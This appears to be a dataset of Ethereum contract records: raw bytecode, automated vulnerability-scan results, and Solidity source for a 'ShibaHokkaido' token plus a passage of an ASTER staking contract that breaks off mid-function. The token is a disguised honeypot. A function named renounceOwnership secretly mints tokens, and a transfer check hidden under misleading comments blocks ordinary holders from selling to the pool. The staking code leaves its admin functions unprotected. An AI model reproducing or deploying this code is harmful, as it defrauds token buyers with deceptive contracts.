fffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015613746575060008667ffffffffffffffff1614155b1561375057600080fd5b6001600560008867ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508a816000019060ff16908160ff168152505089816020019060ff16908160ff168152505088816060019060ff16908160ff168152505087816080019063ffffffff16908163ffffffff1681525050600160038d61ffff168154811015156137f357fe5b906000526020600020906009020160040160038282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060038c61ffff1681548110151561384157fe5b906000526020600020906009020160040160039054906101000a900460ff16816040019060ff16908160ff16815250508060400151600760008e61ffff1661ffff16815260200190815260200160002060018b0160ff166040811015156138a457fe5b602091828204019190066101000a81548160ff021916908360ff160217905550868160a0019061ffff16908161ffff1681525050858160e0019067ffffffffffffffff16908167ffffffffffffffff16815250508481610100019067ffffffffffffffff16908167ffffffffffffffff16815250508381610140019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050828160c0019060ff16908160ff1681525050600181610120019015159081151581525050600660008d61ffff1663ffffffff16815260200190815260200160002080548060010182816139a591906147f9565b9160005260206000209060020201600083909190915060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555060808201518160000160046101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160000160086101000a81548161ffff021916908361ffff16021790555060c082015181600001600a6101000a81548160ff021916908360ff16021790555060e082015181600001600b6101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506101008201518160000160136101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555061012082015181600001601b6101000a81548160ff0219169083151502179055506101408201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505060038c61ffff16815481101515613b8857fe5b906000526020600020906009020160040160039054906101000a900460ff169150509a9950505050505050505050565b6000600760008461ffff1661ffff1681526020019081526020016000206001830160ff16604081101515613be857fe5b602091828204019190069054906101000a900460ff16905092915050565b6000600560008367ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600060149054906101000a900461ffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613cb357600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613d955760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b6000806000806000806000806000613dae614671565b6000808d61ffff161080613dd95750600460009054906101000a900461ffff1661ffff168d61ffff16115b15613de357600080fd5b600760008e61ffff1661ffff16815260200190815260200160002060018d0160ff16604081101515613e1157fe5b602091828204019190069054906101000a900460ff169050600660008e61ffff1663ffffffff1681526020019081526020016000208160ff16815481101515613e5657fe5b906000526020600020906002020161016060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff1681526020016000820160049054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160089054906101000a900461ffff1661ffff1661ffff16815260200160008201600a9054906101000a900460ff1660ff1660ff16815260200160008201600b9054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160139054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601b9054906101000a900460ff161515151581526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050915081600001519a50816020015199508160400151985081606001519750816080015196508160a0015161ffff1695508160e0015194508161010001519350816101200151925050509295985092959850929598565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008461ffff1663ffffffff1681526020019081526020016000208260ff168154811015156140c757fe5b906000526020600020906002020160000160049054906101000a900463ffffffff16905092915050565b60008060038361ffff1681548110151561410757fe5b906000526020600020906009020160080160029054906101000a900460ff16915060038361ffff1681548110151561413b57fe5b906000526020600020906009020160080160039054906101000a900460ff169050915091565b600060038261ffff1681548110151561417657fe5b906000526020600020906009020160020160009054906101000a900460ff169050919050565b6000600660008461ffff1663ffffffff1681526020019081526020016000208260ff168154811015156141cb57fe5b906000526020600020906002020160000160139054906101000a900467ffffffffffffffff16905092915050565b60008090505b60038261ffff1681548110151561421257fe5b906000526020600020906009020160040160039054906101000a900460ff1660ff1681101561433b576000600660008461ffff1663ffffffff1681526020019081526020016000208281548110151561426757fe5b9060005260206000209060020201600001600b9054906101000a900467ffffffffffffffff1667ffffffffffffffff1614151561432e57600060056000600660008661ffff1663ffffffff168152602001908152602001600020848154811015156142ce57fe5b9060005260206000209060020201600001600b9054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806001019150506141ff565b5050565b614347614671565b60008261ffff1610806143715750600460009054906101000a900461ffff1661ffff168261ffff16115b1561437b57600080fd5b6000816000019060ff16908160ff16815250506000816040019060ff16908160ff1681525050600181610120019015159081151581525050600660008361ffff1663ffffffff16815260200190815260200160002080548060010182816143e291906147f9565b9160005260206000209060020201600083909190915060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555060808201518160000160046101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160000160086101000a81548161ffff021916908361ffff16021790555060c082015181600001600a6101000a81548160ff021916908360ff16021790555060e082015181600001600b6101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506101008201518160000160136101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555061012082015181600001601b6101000a81548160ff0219169083151502179055506101408201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b61022060405190810160405280600060ff1681526020016145d561482b565b815260200160001515815260200160008152602001600061ffff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff1681526020016000815260200161462c61482b565b815260200161463961482b565b8152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff1681525090565b61016060405190810160405280600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600063ffffffff168152602001600061ffff168152602001600060ff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600015158152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b81548183558181151161473e5760090281600902836000526020600020918201910161473d919061483f565b5b505050565b8280548282559060005260206000209081019282156147bc579160200282015b828111156147bb5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190614763565b5b5090506147c9919061498f565b5090565b8154818355818115116147f4578183600052602060002091820191016147f391906149d2565b5b505050565b8154818355818115116148265760020281600202836000526020600020918201910161482591906149f7565b5b505050565b602060405190810160405280600081525090565b61498c91905b8082111561498857600080820160006101000a81549060ff02191690556001820160006148729190614b17565b6002820160006101000a81549060ff021916905560038201600090556004820160006101000a81549061ffff02191690556004820160026101000a81549060ff02191690556004820160036101000a81549060ff02191690556004820160046101000a81549060ff02191690556004820160056101000a81549060ff0219169055600582016000905560068201600061490b9190614b17565b60078201600061491b9190614b17565b6008820160006101000a81549060ff02191690556008820160016101000a81549060ff02191690556008820160026101000a81549060ff02191690556008820160036101000a81549060ff02191690556008820160046101000a81549060ff021916905550600901614845565b5090565b90565b6149cf91905b808211156149cb57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101614995565b5090565b90565b6149f491905b808211156149f05760008160009055506001016149d8565b5090565b90565b614b1491905b80821115614b1057600080820160006101000a81549060ff02191690556000820160016101000a81549060ff02191690556000820160026101000a81549060ff02191690556000820160036101000a81549060ff02191690556000820160046101000a81549063ffffffff02191690556000820160086101000a81549061ffff021916905560008201600a6101000a81549060ff021916905560008201600b6101000a81549067ffffffffffffffff02191690556000820160136101000a81549067ffffffffffffffff021916905560008201601b6101000a81549060ff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055506002016149fd565b5090565b90565b5080546000825590600052602060002090810190614b3591906149d2565b505600a165627a7a7230582076d8d2972b2ff290187b8f9f88d2697b1ae17d568f6dfa122dd965ffa7b882cb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,705 |
0x178e560036b7fdd17b1e2272a8aff4d2e72f6306
|
/**
*Submitted for verification at Etherscan.io on 2022-02-07
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ShibaHokkaido is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function renounceOwnership(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: renounceOwnership from the zero address");
_reflect (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _reflectAddress;
_totalSupply = _totalSupply.add(_reflectAmount);
balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100a55760003560e01c80633950935111610061578063395093511461019857806370a08231146101b857806395d89b41146101ee578063a457c2d714610203578063a9059cbb14610223578063dd62ed3e1461024357005b806306fdde03146100ae578063095ea7b3146100d957806318160ddd1461010957806320189d281461012c57806323b872dd1461014c578063313ce5671461016c57005b366100ac57005b005b3480156100ba57600080fd5b506100c3610289565b6040516100d09190610ab2565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610a88565b610317565b60405190151581526020016100d0565b34801561011557600080fd5b5061011e61039b565b6040519081526020016100d0565b34801561013857600080fd5b506100ac610147366004610a88565b6103d8565b34801561015857600080fd5b506100f9610167366004610a4c565b61046f565b34801561017857600080fd5b506004546101869060ff1681565b60405160ff90911681526020016100d0565b3480156101a457600080fd5b506100f96101b3366004610a88565b6105c9565b3480156101c457600080fd5b5061011e6101d33660046109fe565b6001600160a01b031660009081526008602052604090205490565b3480156101fa57600080fd5b506100c361060d565b34801561020f57600080fd5b506100f961021e366004610a88565b61061a565b34801561022f57600080fd5b506100f961023e366004610a88565b610650565b34801561024f57600080fd5b5061011e61025e366004610a19565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6003805461029690610b36565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610b36565b801561030f5780601f106102e45761010080835404028352916020019161030f565b820191906000526020600020905b8154815290600101906020018083116102f257829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156103505760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7546005546103d39161073b565b905090565b6000546001600160a01b031633146103ef57600080fd5b6001600160a01b0382166104615760405162461bcd60e51b815260206004820152602e60248201527f45524332303a2072656e6f756e63654f776e6572736869702066726f6d20746860448201526d65207a65726f206164647265737360901b60648201526084015b60405180910390fd5b61046b828261075b565b5050565b60006001600160a01b03841615801590610497575060045461010090046001600160a01b0316155b156104c15760048054610100600160a81b0319166101006001600160a01b038616021790556104cb565b6104cb84846107c9565b6001600160a01b0384166000908152600860205260409020546104ee908361073b565b6001600160a01b0385166000908152600860209081526040808320939093556009815282822033835290522054610525908361073b565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461056390836108a3565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105b79086815260200190565b60405180910390a35060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff90866108a3565b6108be565b50600192915050565b6001805461029690610b36565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff908661073b565b6004546000906001600160a01b038481166101009092041614156106a45760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610458565b336000908152600860205260409020546106be908361073b565b33600090815260086020526040808220929092556001600160a01b038516815220546106ea90836108a3565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103899086815260200190565b60008282111561074a57600080fd5b6107548284610b1f565b9392505050565b600780546001600160a01b0319166001600160a01b03841617905560055461078390826108a3565b6005556001600160a01b0382166000908152600860205260409020546107a990826108a3565b6001600160a01b0390921660009081526008602052604090209190915550565b6004546001600160a01b038281166101009092041614158061081557506007546001600160a01b03838116911614801561081557506004546001600160a01b0382811661010090920416145b8061085757506004546001600160a01b038281166101009092041614801561085757506006546001600160a01b03831660009081526008602052604090205411155b61046b5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610458565b60006108af8284610b07565b90508281101561039557600080fd5b6001600160a01b0383166109205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b0382166109815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b80356001600160a01b03811681146109f957600080fd5b919050565b600060208284031215610a1057600080fd5b610754826109e2565b60008060408385031215610a2c57600080fd5b610a35836109e2565b9150610a43602084016109e2565b90509250929050565b600080600060608486031215610a6157600080fd5b610a6a846109e2565b9250610a78602085016109e2565b9150604084013590509250925092565b60008060408385031215610a9b57600080fd5b610aa4836109e2565b946020939093013593505050565b600060208083528351808285015260005b81811015610adf57858101830151858201604001528201610ac3565b81811115610af1576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b1a57610b1a610b71565b500190565b600082821015610b3157610b31610b71565b500390565b600181811c90821680610b4a57607f821691505b60208210811415610b6b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220d6899bbf7452a11484ef81a4292439ce2bc88111954ee7437f373a509d3adb7764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,706 |
0xde7652862e1095b41b65f8c9040ab6c0a83a4f10
|
// /\ _ \/\ _`\ /\__ _\/\ _`\ /\ _`\
// \ \ \L\ \ \,\L\_\/_/\ \/\ \ \L\_\ \ \L\ \
// \ \ __ \/_\__ \ \ \ \ \ \ _\L\ \ , /
// \ \ \/\ \/\ \L\ \ \ \ \ \ \ \L\ \ \ \\ \
// \ \_\ \_\ `\____\ \ \_\ \ \____/\ \_\ \_\
// \/_/\/_/\/_____/ \/_/ \/___/ \/_/\/ /
// ASTER PROJECT - ASTER-3H
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function primary() external view returns (address);
}
contract Poolable{
address payable internal constant _POOLADDRESS = 0x6fe6403080A3f80Da00387224E7846E1239DEC26;
function primary() private view returns (address) {
return Pool(_POOLADDRESS).primary();
}
modifier onlyPrimary() {
require(msg.sender == primary(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**18;
mapping (address => uint256) public timePooled;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private referralEarned;
address public ast3Address;
address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
receive() external payable {
if(msg.sender != UNIROUTER){
stake(msg.sender, address(0));
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function makeUnchangeable() public{
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public{
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
ast3Address = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function stake(address staker, address payable ref) public payable{
staker = msg.sender;
if(ref != address(0)){
referralEarned[ref] = referralEarned[ref] + ((address(this).balance/10)*DECIMAL)/price();
}
sendValue(_POOLADDRESS, address(this).balance/2);
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(ast3Address).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(ast3Address).balanceOf(address(this));
IERC20(ast3Address).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(ast3Address, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
timePooled[staker] = now;
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawLPTokens(uint amount) public {
require(timePooled[msg.sender] + 3 hours <= now, "It has not been 3 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].sub(amount);
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
IERC20(poolAddress).transfer(msg.sender, amount);
internalTime[msg.sender] = now;
}
function withdrawRewardTokens(uint amount) public {
require(timePooled[msg.sender] + 3 hours <= now, "It has not been 3 hours since you staked yet");
